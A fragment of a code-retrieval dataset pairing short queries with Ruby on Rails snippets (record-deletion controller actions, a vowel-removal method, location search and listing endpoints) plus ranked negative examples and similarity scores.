"def do_reject\n InviteRequest.clear_pending_request_activities(self.user, self.wants_to_join)\n end",
"def destroy\n find_request\n @request.destroy\n redirect_to root_url\n end",
"def destroy\n find_request\n @request.destroy\n redirect_to root_url\n end",
"def cancel_feed_submissions(params = {})\n response = \n get(\"/\", {\"Action\" => \"CancelFeedSubmissions\"}.merge(params))\n\n CancelFeedSubmissionsResponse.format(response)\n end",
"def destroy_incoming_request(request_id:, &block)\n delete(\"/incoming_requests/#{request_id}\", &block)\n end",
"def destroy\n @request = Request.find(params[:id])\n @ride = Ride.find(params[:ride_id]) \n @request.destroy\n RequestMailer.rejected(@request).deliver\n respond_to do |format|\n format.html { redirect_to(@ride, :notice => 'Request was successfully deleted.') }\n format.xml { head :ok }\n end\n end",
"def remove\n if status == \"pending\"\n reject\n else\n destroy\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def delete\n self.update_attribute(:deleted, true)\n self.update_attribute(:disabled, true)\n\n room_type = self.room_type\n channel = self.channel\n pool = PropertyChannel.find_by_property_id_and_channel_id(room_type.property.id, channel.id).pool\n\n unless pool.blank?\n # clear rates\n ChannelRate.where(:room_type_id => room_type.id, :pool_id => pool.id, :channel_id => channel.id).each do |rate|\n rate.set_zero\n end\n # clear cta\n ChannelCta.where(:room_type_id => room_type.id, :pool_id => pool.id, :channel_id => channel.id).each do |cta|\n cta.set_false\n end\n # clear ctd\n ChannelCtd.where(:room_type_id => room_type.id, :pool_id => pool.id, :channel_id => channel.id).each do |ctd|\n ctd.set_false\n end\n # clear min stay\n ChannelMinStay.where(:room_type_id => room_type.id, :pool_id => pool.id, :channel_id => channel.id).each do |min_stay|\n min_stay.set_zero\n end\n # clear stop sell\n ChannelStopSell.where(:room_type_id => room_type.id, :pool_id => pool.id, :channel_id => channel.id).each do |stop_sell|\n stop_sell.set_false\n end\n # clear all master rate channel setting\n RoomTypeMasterRateChannelMapping.where(:room_type_id => room_type.id, :channel_id => channel.id).each do |rtm|\n rtm.update_attribute(:deleted, true)\n end\n end\n end",
"def destroy_all\n delete_http_basic(path: build_url)\n end",
"def destroy\n authenticate_user!\n authorize! :index, @user, :message => 'Not authorized as an administrator.'\n \n @campaign = Campaign.find(params[:id])\n \n @campaign.pledges.destroy_all\n @campaign.key_policy_makers.destroy_all\n @campaign.beneficiaries.destroy_all\n @campaign.updates.destroy_all\n \n @campaign.destroy\n\n respond_to do |format|\n format.html { redirect_to campaigns_url }\n format.json { head :no_content }\n end\n end",
"def cancel_request\n if params.key?(:tutor_id) && params.key?(:student_id) && params.key?(:tutor_subject_id)\n pending_request = PendingTutorRequest.where('tutor_id = ? AND student_id = ? AND tutor_subject_id = ?',\n params[:tutor_id],\n params[:student_id],\n params[:tutor_subject_id]).first\n course = Course.find(TutorSubject.find(params[:tutor_subject_id]).course_id)\n else\n pending_request = PendingTutorRequest.find(params[:request_id])\n # Look into see if there is another way to do this.\n course = Course.find(TutorSubject.find(pending_request.tutor_subject_id).course_id)\n end\n\n pending_request.destroy\n course_code = course.course_prefix + course.course_code\n notifcation_params = { 'user_id' => params[:tutor_id],\n 'title' => 'Request Cencelled',\n 'body' => 'A request for ' + course_code + ' has been cancelled.',\n 'icon' => 'request_cancelled',\n 'color' => 'lightgrey',\n 'type' => 'cancel' }\n Notifications.send_notification(notifcation_params)\n\n head :ok\n end",
"def destroy\n @received_issue = ReceivedIssue.find(params[:id])\n contact = @received_issue.contact\n contact.issues_remaining = contact.issues_remaining - 1\n contact.update_attributes(params[:contact])\n @received_issue.destroy\n\n respond_to do |format|\n format.html { redirect_to(received_issues_url) }\n format.xml { head :ok }\n end\n \n end",
"def cancel_old_tasks\n if disposition == \"granted\"\n old_docket_stream.cancel_active_tasks\n else\n docket_switchable_tasks.reject(&:post_distribution?).each(&:cancel_task_and_child_subtasks)\n end\n end",
"def del\n channel = params['channel_id']\n existing = Board.find_by(:channel => channel)\n if existing then\n existing.destroy\n return render json: { :response_type => 'in_channel',\n :text => 'Removed the current game for the channel. It was between *' + existing.player1 + '* and *' + existing.player2 + '*' }\n end\n\n return render json: { :text => 'No ongoing game in the current channel' }\n end",
"def destroy\n @channel = Channel.find(params[:id])\n @channel.destroy\n\n respond_to do |format|\n format.html { redirect_to(channels_url) }\n format.xml { head :ok }\n end\n end",
"def clear_request_token\n @request_token = nil\n end",
"def post_request_bookkeeping(user)\n if not @id_in_redis\n return\n end\n key = 'concurrent_requests_limiter.' + user\n removed = redis.zrem(key, @id_in_redis)\nend",
"def destroy\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def remove_deletes\n Invitation.where(invite_email: 'delete').destroy_all\n Invitation.where(invite_email: 'DELETE').destroy_all\n end",
"def destroy\n if !session[:admin] && @request && session[:id] != @request.student_id\n flash[:notice] = \"You do not have permission to remove this request\"\n redirect_to(requests_path)\n elsif params[:helped]\n if Request.where(id: params[:id]).count > 0\n student = Student.where(id_num: @request.student_id).take\n\n past = PastRequest.create(student_id: student.id_num,\n removed_by: session[:id],\n time_waited: calc_wait(@request.created_at),\n received_help: false)\n\n @request.destroy\n respond_to do |format|\n format.html { redirect_to past, notice: \"Request for #{student.name} was removed.\" }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to requests_url, notice: \"Request already removed.\" }\n format.json { head :no_content }\n end\n end\n else\n if Request.where(id: params[:id]).count > 0\n student = Student.where(id_num: @request.student_id).take\n\n PastRequest.create(student_id: student.id_num,\n removed_by: session[:id],\n time_waited: calc_wait(@request.created_at),\n received_help: false)\n\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: \"Request for #{student.name} was removed.\" }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to requests_url, notice: \"Request already removed.\" }\n format.json { head :no_content }\n end\n end\n end\n end",
"def remove_old_sessions\n candidates = find_old_sessions\n candidates.destroy_all\nend",
"def destroy\n @channel = Channel.find(params[:id])\n @channel.destroy\n\n respond_to do |format|\n format.html { redirect_to channels_url }\n format.json { head :ok }\n end\n end",
"def channel_ids_to_remove\n @channel_ids_to_remove ||= begin\n cids = []\n if self.respond_to?(:message)\n cids << self.try(:message).try(:channel).try(:id)\n Array(self.message&.channel&.sibling_channel_ids).each do |cid|\n cids << cid unless channel_ids_to_add.include?(cid)\n end\n end\n cids\n end\n end",
"def fix_scheduled_actions\n @db.transaction do\n # Removing hanging Scheduled Actions\n @to_delete.each do |o|\n @db[:schedaction_pool].where(:oid => o.id, :type => o.type).delete\n end\n end\n end",
"def cancel_pending_requests_if_from_same_club\n self.class.preloaded_data.where(sadhak_profile_id: self.sadhak_profile_id, from_club_id: self.from_club_id, status: self.class.statuses['requested']).each do |sy_club_member_transfer|\n sy_club_member_transfer.responder_user = self.requester_user\n unless sy_club_member_transfer.cancel!\n errors.add(:there, \"is some error while canceling the previous request ##{sy_club_member_transfer.id}. Please contact to board members.\")\n end\n end\n errors.empty?\n end",
"def clear_checkid_request\n unless session[:request_token].blank?\n OpenIdRequest.destroy_all :token => session[:request_token]\n session[:request_token] = nil\n end\n end",
"def destroy\n @channel = Channel.find(params[:id])\n @channel.destroy\n\n respond_with @channel\n end",
"def destroy\n @issue_tracker_access.destroy\n @issue_tracker_accesses = IssueTrackerAccess.all\n\n end",
"def destroy\n @channel_status = ChannelStatus.find(params[:id])\n @channel_status.destroy\n\n respond_to do |format|\n format.html { redirect_to channel_statuses_url }\n format.json { head :no_content }\n end\n end",
"def delete_other_bids(assignment_id, user_id)\n entries = SignedUpUser.find_by_sql([\"SELECT su.* FROM signed_up_users su , sign_up_topics st WHERE su.topic_id = st.id AND st.assignment_id = ? AND su.creator_id = ? AND su.is_waitlisted = 1\",assignment_id,user_id] )\n entries.each { |o| o.destroy }\nend",
"def destroy\n @case_request.destroy\n respond_to do |format|\n format.html { redirect_to case_requests_url, notice: 'Case request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feedback_request.destroy\n respond_to do |format|\n format.html { redirect_to feedback_requests_url, notice: 'Feedback request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_observers\n @sub_lock.synchronize { subscribers.delete channel }\n end",
"def delete_channel(data)\n channel = Channel.new(data, self)\n server = channel.server\n\n # Handle normal and private channels separately\n if server\n @channels.delete(channel.id)\n server.delete_channel(channel.id)\n elsif channel.pm?\n @pm_channels.delete(channel.recipient.id)\n elsif channel.group?\n @channels.delete(channel.id)\n end\n end"
] |
[
"0.70704406",
"0.64151096",
"0.614683",
"0.6117218",
"0.60943437",
"0.5942399",
"0.5942253",
"0.5922376",
"0.59148246",
"0.5883685",
"0.5854346",
"0.58487946",
"0.58487946",
"0.5841473",
"0.58020866",
"0.5789247",
"0.57869005",
"0.5782026",
"0.57478416",
"0.5705308",
"0.57034564",
"0.56556153",
"0.56461775",
"0.5639756",
"0.56298447",
"0.5627852",
"0.56250656",
"0.5612261",
"0.5611081",
"0.5577492",
"0.5573332",
"0.5567688",
"0.55672884",
"0.5561677",
"0.55565023",
"0.5554058",
"0.5547859",
"0.55403316",
"0.5533054",
"0.5516958",
"0.55081385",
"0.5499344",
"0.5496908",
"0.54897124",
"0.54875475",
"0.5484638",
"0.5484179",
"0.54659617",
"0.5463415",
"0.5442068",
"0.543493",
"0.5427707",
"0.54207504",
"0.54195505",
"0.54194057",
"0.5403986",
"0.5394223",
"0.53929",
"0.5387017",
"0.5380833",
"0.5371375",
"0.5370298",
"0.53689057",
"0.53680784",
"0.53605765",
"0.53605765",
"0.53556365",
"0.53472555",
"0.53451306",
"0.5344645",
"0.534431",
"0.534431",
"0.534431",
"0.5340767",
"0.53396803",
"0.53306854",
"0.53252965",
"0.53224033",
"0.532174",
"0.53211236",
"0.5320339",
"0.5319998",
"0.53195965",
"0.53146136",
"0.53123254",
"0.5311028",
"0.5308226",
"0.5307906",
"0.5303331",
"0.529857",
"0.52961445",
"0.52889645",
"0.5284546",
"0.52824825",
"0.5280438",
"0.52787226",
"0.52717435",
"0.5265862",
"0.5265709",
"0.5265645"
] |
0.67095536
|
1
|
"Ths wbst s fr lsrs LL!"
|
def remove_vowels(sentence)
sentence.split.map{|word| word.delete"aeiouyAEIOUY"}.join(" ")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def whisper(phrase)\n return \"#{phrase.downcase}...shhhhhhh\"\nend",
"def s_th(string)\r\n th_ify = string.chars.map { |x| x == \"s\" ? 'th' : x }\r\n return th_ify.join\r\nend",
"def hackerSpeak(word)\n\tnew_word=''\n\tword.each_char do |c|\n\t\tif c.downcase=='a'\n\t\t\tnew_word=new_word+'4'\n\t\telsif c.downcase=='e'\n\t\t\tnew_word=new_word+'3'\n\t\telsif c.downcase=='i'\n\t\t\tnew_word=new_word+'1'\n\t\telsif c.downcase=='o'\n\t\t\tnew_word=new_word+'0'\n\t\telsif c.downcase=='s'\n\t\t\tnew_word=new_word+'5'\n\t\telse\n\t\t\tnew_word=new_word+ c\t\t\t\t\t\t\n\t\tend\t\n\tend\n\tnew_word\nend",
"def spinWords(string)\n string.split.map{|e|e.to_s}.map{|e| e.length >= 5 ? e.reverse : e}.join(' ').to_s\nend",
"def shout(phrase)\n return \"#{phrase.upcase} !!!!\"\n #return \"#{phrase}!!!!\".upcase\nend",
"def crazy_strings(first_word, second_word)\nputs \"#{first_word} #{second_word.gsub(\"s\",\"z\").swapcase}!\"\nend",
"def shout(str); str.upcase end",
"def yell_sentence(sent)\n # yell = sent.split(\" \")\n # yell = yell.map { |char| char.upcase + \"!\" }\n # return yell.join(\" \")\n return sent.split.map { |char| char.upcase + \"!\" }.join(\" \")\nend",
"def make_a_sentence(words)\n words.join(' ') + \"!\"\nend",
"def yell_sentence(sent)\n return sent.split.map { |word| word.upcase + \"!\"}.join(\" \")\nend",
"def yell word4\n word4.upcase + \"!\"\nend",
"def pirates_say_arrrrrrrrr(string)\n\nstring.downcase!\nsplitsplat = string.split(//)\nresult = \"\"\n\nsplitsplat.each_with_index do |l, index|\n if l == \"r\"\n result << splitsplat[index + 1].to_s\n end\nend\nreturn result\nend",
"def phrase(str)\n puts \"#{str}..Only in America!\"\nend",
"def smash(words)\n sentence = \"\"\n words.each do |w|\n sentence = sentence + \"#{w} \"\n end\n sentence[0..-2]\nend",
"def pirates_say_arrrrrrrrr(string)\n s = \"\"\n ((0 ... string.length).find_all { |i| string.downcase[i,1] == 'r' }).each do |c|\n if c < (string.length-1) then s += string[c+1] end\n end\n return s\nend",
"def yell(word)\n return word.upcase + \"!\"\nend",
"def string(st)\n if st.length > 10\n puts st.upcase\n else\n puts st\nend\nend",
"def spell_out str\n str.downcase.split('').join('-')\nend",
"def to_s()\r\n\t\treturn guessed_word().split('').join(' ')\r\n\tend",
"def pirates_say_arrrrrrrrr(string)\n newstring = ''\n string.downcase!\n string.length.times do |index|\n newstring += string[index + 1] if char_is_r(string, index) && next_char_not_nil(string, index)\n end\n newstring\nend",
"def spinWords(string)\n string.split.map { |word| word.length >= 5 ? word.reverse : word }.join(' ')\nend",
"def spinWords(string)\n string.gsub(/\\w{5,}/, &:reverse)\nend",
"def yell (string)\n string.upcase + \"!\"\nend",
"def e_words(str)\r\n \r\nend",
"def spinWords(string)\n string.split.map { |word| word.length >= 5 ? word.reverse : word }.join(\" \")\nend",
"def spinWords(string)\n string.split.map { |word| word.length > 4 ? word.reverse : word }.join(' ')\nend",
"def yell_happily(words)\r\n words + \"!!!\" + \" :)\"\r\n end",
"def catch_phrase\n [\n [\"Фирма1\", \"Суперфирма\", \"Фирма3\", \"ПанСамСклепав\"].rand,\n [\"24 часа\", \"24/7\", \"круглосуточно\", \"3 года на рынке\"].rand,\n [\"доступно\", \"быстро\", \"надежно\"].rand\n ].join(' ')\n end",
"def yell_happily(words)\r\n words + \"!!!\" + \" :)\"\r\n end",
"def spinWords(string)\n string.split(\" \").map { |word| word.length >= 5 ? word.reverse : word }.join(\" \")\nend",
"def spinwords(string,length = 0)\n string.split(' ').map{ |x| x.length > length ? x.reverse : x }.join(' ')\nend",
"def pirates_say_arrrrrrrrr(string)\n other_word = \"\"\n string.length.times do | index |\n if ((string[index].downcase.include? \"r\") && (string[index + 1] != nil))\n other_word << string[index + 1]\n end\n end\n\n return other_word\nend",
"def pirates_say_arrrrrrrrr(string)\n results = ''\n string << ' '\n string.each_char.with_index do |char, index|\n if (char =~ /r|R/) == 0\n results << string[index.next]\n end\n end\n results.delete(\" \")\nend",
"def spell_out(str)\n str.downcase.split('').join('-')\nend",
"def spell_out string\n string.downcase.split(\"\").join(\"-\")\nend",
"def spell_out string\n string.downcase.split(\"\").join(\"-\")\nend",
"def spell_out(str)\n str.downcase.split(\"\").join(\"-\")\nend",
"def sentencify(words)\n \n words[0] = words[0].chr.upcase << words[0][1..-1]\n words.join(\" \")<<\".\"\nend",
"def shout (s)\n s.upcase\nend",
"def shout str\n str.to_s.upcase\nend",
"def yell_sentence(sent)\n\twords = sent.split(\" \")\n \tnew_words = words.map{ |word| word.upcase + \"!\"}\n \treturn new_words.join(\" \")\nend",
"def lex_en_plain_string; end",
"def lex_en_plain_string; end",
"def lex_en_plain_string; end",
"def wrap(s)\n r = \"\"\n i = 0\n n = s.length\n sofar = 0\n while i < n\n r << String(s[i])\n \n if /\\s/ =~ s[i]\n sofar = 0\n else\n sofar += 1\n end\n \n if sofar >= 100\n r << \"\\n\"\n sofar = 0\n end\n i+=1\n end\n return r\nend",
"def shout(str)\n return str.upcase\nend",
"def pirates_say_arrrrrrrrr(string)\nto_return = \"\"\nr_last = false\n\nstring.downcase.each_char do |c|\n\tto_return << c if r_last\n\tr_last = (c == \"r\")\n\tend\n\nto_return\nend",
"def pirates_say_arrrrrrrrr(string)\n new_string = ''\n string.downcase.chars.map.with_index{ |char, idx| new_string += string[idx+1].to_s if char == 'r' }\n new_string\nend",
"def spin_words(string)\n word = string.split.map {|s| s.length > 4 ? s.reverse : s}\n word.join(' ')\nend",
"def shout(word)\n# irb(main):012:1> \nreturn \"HOLA\"\n# irb(main):013:1> \nend",
"def gordon(a)\n\ta.upcase!\n\ta.gsub!(/[A]/, '@').gsub!(/[UIOE]/, '*')\n\tarr = a.split.each do |word|\n\t\tword << \"!!!!\"\n\tend\n\tarr.join \" \"\nend",
"def bang!\n \"b a n g\"\n end",
"def pirates_say_arrrrrrrrr(string)\nresult = \"\"\n string.size.times { |i| result << string[i+1] if string[i] == \"r\" || string[i] == \"R\"}\nreturn result\nend",
"def rule3(str = @word)\n newstr = str.chars\n\n reverse = false\n output = ''\n\n newstr.each do |char|\n if char == '!'\n reverse = !reverse\n else\n output << char\n end\n end\n\n output.reverse! unless !reverse\n output.to_s.squeeze(\" \")\n end",
"def catch_phrase\n [\n [\"ninja\",\"master\",\"student\"].rand, \n [\"\", \"\", \"\", \"\", \"\", \"\", \"weapons\", \"s' 3rd annual\",\"s' 5th annual\",\"s' 10th annual\", \"s' secret\"].rand,\n [\"gathering\",\"celebration\",\"meeting\",\"tournament\",\"competition\",\"party\",\"training camp\",\"sparring event\"].rand,\n [\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"with Leonardo\", \"with Raphael\", \"with Michaelangelo\", \"with Donatello\"].rand\n ].join(' ').gsub(/ s\\'/,'s\\'').gsub(/\\s\\s/,' ').strip\n end",
"def question5(str) # Modify str, returning a lowercased version\n\n end",
"def spell_out(string)\n string.downcase.split(\"\").join(\"-\")\nend",
"def spell_out (string)\n string.downcase.split(//).join(\"-\")\nend",
"def start_of_word(a)\n return a.chars.first.join\nend",
"def solution(string)\n # lowers = string.scan(/[a-z]+[A-Z]/).join\n uppers = string.scan(/[A-Z][^A-Z]+/).join(' ')\n # lowers + \" \" + uppers\n # require 'pry'; binding.pry\n\nend",
"def pirates_say_arrrrrrrrr(string)\n output = \"\"\n string.length.times do |index|\n output << string[index+1] if string[index].downcase == \"r\" && index < (string.length - 1)\n \n end\n return output\nend",
"def spin_me(str)\n str.split.map do |word|\n word.reverse\n end.join(\" \")\nend",
"def pirates_say_arrrrrrrrr(string)\n\tletters = string.split(\"\")\n\n\tword = []\n\ti = 1\n\tletters.each do |element|\n\t\tif element == \"r\" || element == \"R\"\n\t\t\tword.push(letters[i])\t\n\t\tend\n\ti +=1\n\tend\n\treturn word.join(\"\")\nend",
"def offer_rose (string)\r\n \"Would you take this rose, #{string}, in exchange for giving an old beggar woman shelter from the bitter cold?\" \r\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(\" \")\nend",
"def possessivize(s)\n s + (s[-1,1] == 's' ? \"'\" : \"'s\")\n end",
"def lex_en_inside_string; end",
"def spin_me(str)\n str.split.each do |word|\n word.reverse!\n end.join(' ')\nend",
"def smash(words)\n return words * \" \"\nend",
"def may_inicial(string)\n puts \"#{string.upcase!}#{string[1..-1]}\"\nend",
"def test_small_words_within_phrase\n %w( a an and as at but by en for if in of on or the to v v. via vs vs. ).each do |word|\n \n # Test in a string\n original_str = @str.join( \" #{word} \" ) + \".\"\n assert_equal \"This #{word} Script.\", original_str.titlecase\n \n # Test with uppercase small word\n str = @str.join( \" #{word.capitalize} \" ) + \".\"\n assert_equal \"This #{word} Script.\", str.titlecase\n \n end\n end",
"def shout string\n string.upcase\nend",
"def message_maker( string )\n message = string.upcase.scan(/[A-Z]*/).join\n message << \"X\" while (message.length%5 != 0)\n message.gsub!(/\\w{5}/){|word| word + \" \"}\n message.rstrip! \n \n message\nend",
"def pirates_say_arrrrrrrrr(string)\n return \"\" if string == \"\"\n string.downcase!\n result = \"\"\n (0..string.length-2).each do |i|\n if string[i] == 'r'\n result += string[i + 1]\n end\n end\n result\nend",
"def wordz(string)\n if string.length > 10\n string.upcase\n else\n string\n end\nend",
"def spin_words(str)\n str.split(\" \")\n if str.length > 5\n str.reverse\n else str\n end\nend",
"def shout(string)\n\treturn string.upcase\nend",
"def make_string(s)\n s.scan(/\\b\\w/).join\nend",
"def heggeleggleggo(word)\n pp word.gsub /[^ aeiou]/i, '\\0egg'\nend",
"def sentence_maker(x)\n\tx.join(\" \")\nend",
"def abbreviate_sentence(sent)\n seperate = sent.split(\" \")\n \n i = 0\n new =\"\"\n j = 0\n while i < seperate.length\n if seperate[i].length > 4\n while j < seperate[i].length\n if seperate[i][j] !=\"o\" && seperate[i][j] !=\"e\" && seperate[i][j] !=\"a\" && seperate[i][j] !=\"i\" && seperate[i][j] !=\"u\"\n new << seperate[i][j]\n end\n j += 1\n end \n new << \" \"\n j = 0\n else \n new << seperate[i]\n new << \" \"\n end \n i += 1\n end\n return new\n end",
"def spinWords(sentence)\n spinned = sentence.split.map do |char|\n if char.size >= 5\n char.reverse\n else\n char\n end\n end\n spinned.join(\" \")\nend",
"def shout(str)\n str.upcase\nend",
"def smash (words)\n \"#{words}\".chomp\nend",
"def spell_out (foo)\n foo.downcase.split(\"\").join(\"-\")\n end",
"def make_string(s)\n s.split.map(&:chr).join\nend",
"def sentence(string)\n string.split.map { |word| single_word(word) }.join(' ')\nend",
"def start_of_word word, length\n word.chars.take(length).join\nend",
"def shout_out_to(name)\n # name.chars.each { |c| c.upcase! }\n name = name.chars.each { |c| c.upcase! }.join\n puts 'HEY ' + name\nend",
"def pirates_say_arrrrrrrrr(string)\n\tresult = ''\n\tstring_array = string.downcase.split('')\n\tstring_array.each.with_index{|x,i| result += string_array[i+1] if x == 'r' && i != string.length - 1}\n\treturn result\nend",
"def spinWords(string)\n string.split(\" \").map do |word|\n if word.length >= 5\n word.reverse\n else\n word\n end\n end.join(\" \")\nend",
"def shout(string)\n\t\t\tstring.upcase\t\t\n\t\tend",
"def to_s()\n str = \"\"\n @ingame_word.each do |letter|\n if(letter == \" \")\n str << \"_\"\n else\n str << letter\n end\n str << \" \"\n end\n return str\n end",
"def spell_out word6\n word6.downcase.split(\"\").join(\"-\")\nend",
"def snake_it_up(string)\n if string[0] = \"s\"\n counter = 0\n newword= string\n while (counter < 10) do\n newword[counter] = newword[0] + newword[counter]\n counter += 1\n #binding.pry\n end\nnewword\nelse\n string\n end\nend"
] |
[
"0.71006894",
"0.69764805",
"0.64551115",
"0.64450234",
"0.639241",
"0.6364488",
"0.63452524",
"0.6292778",
"0.6260079",
"0.6232344",
"0.62132955",
"0.6201864",
"0.6184731",
"0.6179645",
"0.6178445",
"0.61596006",
"0.61332375",
"0.61093324",
"0.6102551",
"0.61013913",
"0.6096459",
"0.60909796",
"0.6074585",
"0.6071822",
"0.60683125",
"0.6054975",
"0.60515136",
"0.6048275",
"0.6037967",
"0.6027165",
"0.6012699",
"0.6004424",
"0.6003217",
"0.5999452",
"0.59947854",
"0.59947854",
"0.599111",
"0.59854245",
"0.5981105",
"0.5979005",
"0.5970756",
"0.59582174",
"0.59582174",
"0.59582174",
"0.59551144",
"0.5952648",
"0.5949291",
"0.5948823",
"0.59452766",
"0.5944474",
"0.5934102",
"0.592901",
"0.5919565",
"0.5918926",
"0.5913804",
"0.5911587",
"0.5902014",
"0.5897502",
"0.58974355",
"0.5893102",
"0.5892163",
"0.5889885",
"0.58895576",
"0.5872886",
"0.5871489",
"0.5871489",
"0.5871489",
"0.5871489",
"0.5871489",
"0.5871489",
"0.5871489",
"0.58669233",
"0.58649546",
"0.58607495",
"0.5853008",
"0.5852993",
"0.5849725",
"0.58483654",
"0.5847658",
"0.58456963",
"0.5843611",
"0.5843113",
"0.5840318",
"0.58403116",
"0.5834984",
"0.5821903",
"0.5821498",
"0.5821108",
"0.5818874",
"0.5816648",
"0.58123505",
"0.58039176",
"0.58025146",
"0.579446",
"0.57744867",
"0.5770044",
"0.5768843",
"0.5767344",
"0.57672405",
"0.5757096",
"0.57545036"
] |
0.0
|
-1
|
GET /locations GET /locations.json
|
def search
@search = Location.near(params[:search], 15, :order => :distance)
@query = params[:search]
@locations = @search
@filtros = ajustaFiltros
@precios = precios(@locations)
@campos = self.campos
@places = places(@locations,@filtros)
@facets = facetas(@locations, @filtros)
@json = @locations.to_gmaps4rails
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def locations\n get('locations')\n end",
"def get_location\n as_json(get_results('/locations.json'))\n end",
"def index\n locations = Location.all\n render json: locations\n end",
"def index\n locations = @project.locations.all\n render json: { locations: locations }\n end",
"def index\r\n @locations = Location.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @locations }\r\n end\r\n end",
"def index\n @locations = Location.roots.order(:location_name) \n render :json => @locations #Using Location serializer by default\n end",
"def locations\n locations_params = Hashie::Mash.new( {f: params.f} )\n response = make_request(LOCATIONS_BASE, locations_params)\n return not_available (response) unless response.status == 200\n response_body = Hashie::Mash.new(JSON.parse(response.body))\n response_body.data\n end",
"def index\n @locations = Location.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @locations }\n end\n end",
"def locations(query = {})\n get('location', query)\n end",
"def locations(place)\n get :loc => place\n end",
"def index\n @locations = current_user.locations\n respond_with @locations\n end",
"def index\n @service_locations = ServiceLocation.all\n render json: @service_locations\n end",
"def get_locations\n response = execute_get(\"/reference/location\")\n Location.from_array(decode(response))\n end",
"def get_json\n response = @api.request(:get, @location)\n response.body if response.status == 200\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @locations }\n end\n end",
"def index\n @api_v1_locations = Api::V1::Location.all\n respond_to do |format|\n format.html { @api_v1_locations }\n format.json { render json: {results: @api_v1_locations, message: 'Locations have loaded successfully.'} }\n end\n end",
"def index\n @locations = Location.order(\"id desc\").page(params[:page]).per(50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @locations }\n end\n end",
"def index\n @locs = Loc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @locs }\n end\n end",
"def query\n { :locations => [] }\n end",
"def index\n @locations = Location.all\n\n respond_with(@locations)\n end",
"def get_json\n response = conn.get(@current_location)\n parsed = JSON.parse(response.body, symbolize_names: true)\n\n end",
"def list_locations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: V1LocationsApi.list_locations ...\"\n end\n # resource path\n local_var_path = \"/v1/me/locations\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n \n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<V1Merchant>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: V1LocationsApi#list_locations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n render json: Location.find(params[\"id\"])\n end",
"def locations\n farm = Farm.find(params[:id])\n\n @locations = []\n # Find which locations this user is authorized to access\n if (current_user.is_hog_owner? || current_user.is_farm_owner? || current_user.is_admin?)\n @locations = farm.locations\n elsif current_user.is_barn_manager?\n @locations << current_user.owner.barn.location\n elsif current_user.is_site_manager?\n @locations << current_user.owner.location\n end\n\n @page_title = \"Sites\"\n @header_icon_class = \"icon-road\"\n @page_subtitle = \"\"\n \n respond_to do |format|\n format.html { render '/locations/index' }\n format.json { render json: @locations }\n end\n end",
"def show\n render :json => Location.find(params[:id])\n end",
"def get(params = {})\n client.get(\"/v1/reference-data/locations/#{@location_id}\", params)\n end",
"def locations\n @client.get('/BikePoint')\n end",
"def locations id, date = Date.today.to_s\n uri = \"#{BASE_URL}/gauges/#{id}/locations?date=#{date}\"\n fetch uri\n end",
"def index\r\n @locations = Location.all\r\n @mv = MapsVersion.first\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @locations }\r\n end\r\n end",
"def show\n render json: @service_location\n end",
"def show\n @campus_food = CampusFood.find(params[:id])\n\t@loc = params[:loc]\n\t\n\t@locations = Location.all(:conditions =>[ \"loc like ? \", \"%#{params[:loc]}%\"])\n\tif !@locations.empty?\n @lat = @locations[0].lat\n @lng = @locations[0].lng\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @locations }\n end\n end",
"def show\n\t\t@all_locations = Location.where(:faculty => params[:id])\n\t\trender :json => @all_locations\n\tend",
"def location_primer\n render(json: location_list)\n end",
"def index\n @clinic_locations = ClinicLocation.all\n\n # respond_to do |f|\n # f.json { render :index, location: @clinic_locations }\n # end\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
"def index\n @locations = Location.all\n end",
